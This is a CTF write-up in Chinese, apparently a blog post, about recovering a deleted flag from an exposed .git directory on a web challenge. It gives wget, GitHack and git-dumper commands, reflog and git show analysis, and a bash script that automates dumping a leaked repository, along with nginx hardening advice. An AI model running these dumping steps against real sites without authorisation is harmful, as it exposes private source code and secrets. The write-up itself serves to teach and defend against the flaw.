1. 从.git泄露到flag获取:一次完整的CTF解题实录
那天在BugKu平台上遇到一道Web题,页面看起来平平无奇,F12也没发现明显线索。这种"空页面"题型在CTF中很常见,通常需要从服务器端找突破口。我的第一反应是目录扫描,结果还真发现了/.git目录——这意味着可能存在Git源码泄露漏洞。下面详细记录我的解题过程,包括工具选择、原理分析和几个关键转折点。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 漏洞发现与初步利用
2.1 目录扫描与.git泄露确认
使用dirsearch进行目录扫描时,发现目标存在/.git目录响应码200。这是典型的Git源码泄露漏洞,当开发者在生产环境错误地部署了.git目录时,攻击者可以通过重建Git仓库获取源码历史记录。
注意:现代框架通常会自动屏蔽.git目录访问,但老旧系统或配置不当的服务器仍可能存在此漏洞
2.2 工具选型:GitHack vs 原生Git
最初尝试用GitHack工具(一个专门用于.git泄露利用的Python脚本)进行自动化利用:
bash复制python GitHack.py http://example.com/.git/
但发现恢复出的文件里没有flag信息。这时需要考虑两种情况:
- flag可能存在于历史版本而非当前版本
- 可能GitHack没有完整恢复所有Git对象
经过比对,决定改用Linux原生Git工具进行完整仓库克隆,原因有二:
- GitHack可能无法处理部分Git对象格式
- 需要访问完整的reflog和commit历史
3. 完整Git仓库恢复
3.1 使用wget递归下载
在Kali Linux环境下执行(所有CTF选手都应该备个Kali虚拟机):
bash复制wget -r -np -nH -R "index.html*" http://example.com/.git/
参数解析:
-r递归下载-np不追溯至父目录-nH不创建主机名目录-R排除指定文件
3.2 重建Git仓库
下载完成后,进入目录并验证Git仓库完整性:
bash复制cd .git
git fsck --full # 检查仓库完整性
git log --all # 查看所有提交历史
如果fsck报错缺失对象,可能需要手动补充。幸运的是这次仓库是完整的。
4. 深入挖掘Git历史
4.1 Git引用日志(reflog)分析
当git log显示的历史有限时,reflog往往藏着关键线索。它记录了所有HEAD指针变更:
bash复制git reflog show
输出示例:
code复制a1b2c3d (HEAD -> master) HEAD@{0}: commit: Update index.php
e4f5g6h HEAD@{1}: commit: Remove sensitive data
i7j8k9l HEAD@{2}: commit: Initial commit
4.2 关键命令:git show
通过git show检查历史版本:
bash复制git show HEAD@{1} # 查看HEAD前一个位置的内容
git show e4f5g6h # 查看特定commit
在我的案例中,通过连续检查HEAD@{1}到HEAD@{3},终于在某个历史版本中发现了被删除的flag:
diff复制- <?php $flag="flag{this_is_real_flag}"; ?>
5. 技术原理深度解析
5.1 Git存储机制
Git的objects目录存储着所有数据:
- blob:文件内容
- tree:目录结构
- commit:提交信息
即使文件被删除,只要对应的object还在,就能恢复出来。
5.2 为什么reflog能找到删除的flag
开发者的典型操作流程:
- 不小心提交了含flag的文件
- 发现后执行
git rm删除 - 提交这次删除操作
这个过程会产生两个commit:
- 第一个commit包含flag(HEAD@{2})
- 第二个commit删除flag(HEAD@{1})
6. 防御方案与CTF技巧
6.1 开发者如何避免.git泄露
- 生产环境添加nginx规则禁止访问.git
nginx复制location ~ /\.git { deny all; } - 部署前执行
rm -rf .git - 使用.gitignore文件避免提交敏感信息
6.2 CTF选手的checklist
- 目录扫描必做(/.git, /.svn, /www.zip等)
- 遇到.git泄露时:
- 先用GitHack快速尝试
- 不成功就完整下载仓库
- 检查log和reflog
- 使用
git checkout切换分支
- 记住flag可能藏在:
- 历史版本
- 被删除的文件
- 其他分支
- commit消息中
7. 进阶技巧与工具链
7.1 更强大的工具:git-dumper
当wget遇到问题时,可以尝试专门为CTF设计的git-dumper:
bash复制pip install git-dumper
git-dumper http://example.com/.git/ output_dir
7.2 自动化扫描脚本
写个简单的bash脚本自动化流程:
bash复制#!/bin/bash
URL=$1
# 扫描.git
if curl -s "$URL/.git" | grep -q "git"; then
echo "[+] Found .git directory"
# 尝试GitHack
python GitHack.py "$URL/.git/"
# 如果失败则完整下载
if [ ! -f index.php ]; then
wget -r -np -nH -R "index.html*" "$URL/.git/"
git fsck --full
fi
# 分析历史
git log -p
git reflog --all
fi
7.3 其他可能藏flag的地方
- stash存储:
bash复制
git stash list git stash show -p stash@{0} - 丢失的commit:
bash复制
git fsck --lost-found - tag版本:
bash复制
git tag -l git show <tag名>
那次解题经历让我深刻体会到Git作为版本控制系统的强大之处——它记录的所有操作痕迹都可能成为安全分析的突破口。现在每次参加CTF比赛,我的第一个动作永远是检查.git泄露,这已经成为了肌肉记忆。对于开发者来说,这也提醒我们生产环境一定要做好目录访问控制,避免将开发工具产生的元数据暴露在公网。
